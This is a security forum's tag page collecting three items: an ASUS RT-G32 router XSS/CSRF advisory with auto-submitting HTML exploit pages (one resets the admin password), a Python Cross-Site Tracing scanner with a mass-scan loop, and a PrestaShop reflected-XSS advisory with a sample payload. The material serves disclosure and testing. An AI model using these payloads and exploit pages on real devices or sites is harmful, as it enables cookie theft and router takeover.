Search the Community
Showing results for tags 'cross-site'.
Found 3 results
-
Hello list! There are Cross-Site Scripting and Cross-Site Request Forgery vulnerabilities in ASUS Wireless Router RT-G32. ------------------------- Affected products: ------------------------- Vulnerable is the next model: ASUS RT-G32 with different versions of firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and 2.0.3.2. ---------- Details: ---------- Cross-Site Scripting (WASC-08): http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27 http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27 http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27 http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27 These vulnerabilities work as via GET, as via POST (work even without authorization). ASUS RT-G32 XSS-1.html <html> <head> <title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/start_apply.htm" method="post"> <input type="hidden" name="next_page" value="'+alert(document.cookie)+'"> <input type="hidden" name="group_id" value="'+alert(document.cookie)+'"> <input type="hidden" name="action_script" value="'+alert(document.cookie)+'"> <input type="hidden" name="flag" value="'+alert(document.cookie)+'"> </form> </body> </html> Cross-Site Request Forgery (WASC-09): CSRF vulnerability allows to change different settings, including admin's password. As I showed in this exploit (post-auth). ASUS RT-G32 CSRF-1.html <html> <head> <title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/start_apply.htm" method="post"> <input type="hidden" name="http_passwd" value="admin"> <input type="hidden" name="http_passwd2" value="admin"> <input type="hidden" name="v_password2" value="admin"> <input type="hidden" name="action_mode" value="+Apply+"> </form> </body> </html> I found this and other routers since summer to take control over terrorists in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html) and in many my interviews (http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html). I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7644/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua Source
-
#!/usr/bin/python # Cross-Site Tracer by 1N3 v20150224 # https://crowdshield.com # # ABOUT: A quick and easy script to check remote web servers for Cross-Site Tracing. For more robust mass scanning, create a list of domains or IP addresses to iterate through by running 'for a in `cat targets.txt`; do ./xsstracer.py $a 80; done;' # # USAGE: xsstracer.py <IP/host> <port> # import socket import time import sys, getopt class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def main(argv): argc = len(argv) if argc <= 2: print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 v20150224" + bcolors.ENDC print bcolors.OKBLUE + "+ -- --=[" + bcolors.UNDERLINE + "https://crowdshield.com" + bcolors.ENDC print bcolors.OKBLUE + "+ -- --=[usage: %s <host> <port>" % (argv[0]) + bcolors.ENDC sys.exit(0) target = argv[1] # SET TARGET port = argv[2] # SET PORT buffer1 = "TRACE / HTTP/1.1" buffer2 = "Test: <script>alert(1);</script>" buffer3 = "Host: " + target print "" print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 " print bcolors.OKBLUE + "+ -- --=[https://crowdshield.com" print bcolors.OKBLUE + "+ -- --=[Target: " + target + ":" + port s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) result=s.connect_ex((target,int(port))) s.settimeout(1.0) if result == 0: s.send(buffer1 + "\n") s.send(buffer2 + "\n") s.send(buffer3 + "\n\n") data = s.recv(1024) script = "alert" if script.lower() in data.lower(): print bcolors.FAIL + "+ -- --=[Site vulnerable to XST!" + bcolors.ENDC print "" print bcolors.WARNING + data + bcolors.ENDC else: print bcolors.OKGREEN + "+ -- --=[Site not vulnerable to XST!" print "" print "" else: print bcolors.WARNING + "+ -- --=[Port is closed!" + bcolors.ENDC s.close() main(sys.argv) Download Source
-
CVE-2015-1175-xss-prestashop Information ——————– Advisory by Octogence. Name: Reflected XSS Vulnerability in prestashop ecommerce software Affected Software : Prestashop Affected Versions: 1.6.0.9 and possibly below Vendor Homepage : https://www.prestashop.com/ Vulnerability Type : Cross-site Scripting Severity : High CVE ID: CVE-2015-1175 Impact —— An attacker can craft a URL with malicious JavaScript code which executes in the browser. Technical Details —————– Sample URL: http://localhost/prestashop/prestashop/modules/blocklayered/blocklayered-ajax.php?layered_id_feature_20=20_7&id_category_layered=8&layered_price_slider=16_532f363<img%20src%3da%20onerror%3dalert(1)>9c032&orderby=position&orderway=asctrue&_=1420314938300 Parameter: layered_price_slider Sample Payload: <img src=a onerror=alert(1)> For more information on cross-site scripting vulnerabilities read the following article: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Advisory Timeline (mm/dd/yyyy) ——————– 01/07/2015 – Reported 01/12/2015 – Vulnerability Fixed 01/18/2015 – Advisory Released http://octogence.com/advisories/cve-2015-1175-xss-prestashop/ Regards Sudhanshu Octogence Tech Solutions Noida, India Mobile | +91-9971658929 Website| www.octogence.com Source : Prestashop 1.6.0.9 Cross Site Scripting ? Packet Storm
-
- 1
-
-
- advisory
- cross-site
- (and 3 more)
